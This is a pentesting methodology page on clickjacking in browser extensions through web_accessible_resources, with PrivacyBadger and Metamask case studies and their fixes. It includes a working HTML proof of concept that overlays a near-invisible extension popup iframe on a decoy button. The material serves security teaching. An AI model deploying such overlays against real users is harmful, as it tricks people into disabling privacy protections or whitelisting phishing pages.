hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

# BrowExt - ClickJacking

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## Basic Information

This page is going to abuse a ClickJacking vulnerability in a Browser extension.\
If you don't know what ClickJacking is check:

{% content-ref url="../clickjacking.md" %}
[clickjacking.md](../clickjacking.md)
{% endcontent-ref %}

Extensions contains the file **`manifest.json`** and that JSON file has a field `web_accessible_resources`. Here's what [the Chrome docs](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) say about it:

> These resources would then be available in a webpage via the URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, which can be generated with the **`extension.getURL method`**. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)

The **`web_accessible_resources`** in a browser extension are not just accessible via the web; they also operate with the extension's inherent privileges. This means they have the capability to:

* Change the extension's state
* Load additional resources
* Interact with the browser to a certain extent

However, this feature presents a security risk. If a resource within **`web_accessible_resources`** has any significant functionality, an attacker could potentially embed this resource into an external web page. Unsuspecting users visiting this page might inadvertently activate this embedded resource. Such activation could lead to unintended consequences, depending on the permissions and capabilities of the extension's resources.

## PrivacyBadger Example

In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):

```json
"web_accessible_resources": [
  "skin/*",
  "icons/*"
]
```

This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).

To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources.

The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**.

### PoC

```html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
    width: 430px;
    height: 300px;
    opacity: 0.01;
    float: top;
    position: absolute;
}

#stuff {
    float: top;
    position: absolute;
}

button {
    float: top;
    position: absolute;
    top: 168px;
    left: 100px;
}

</style>

<div id="stuff">
    <h1>
    Click the button
    </h1>
    <button id="button">
      click me
    </button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```

## Metamask Example

A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example):

<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>

**Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted.

## Steam Inventory Helper Example

Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability:

{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
{% endcontent-ref %}

## References

* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)

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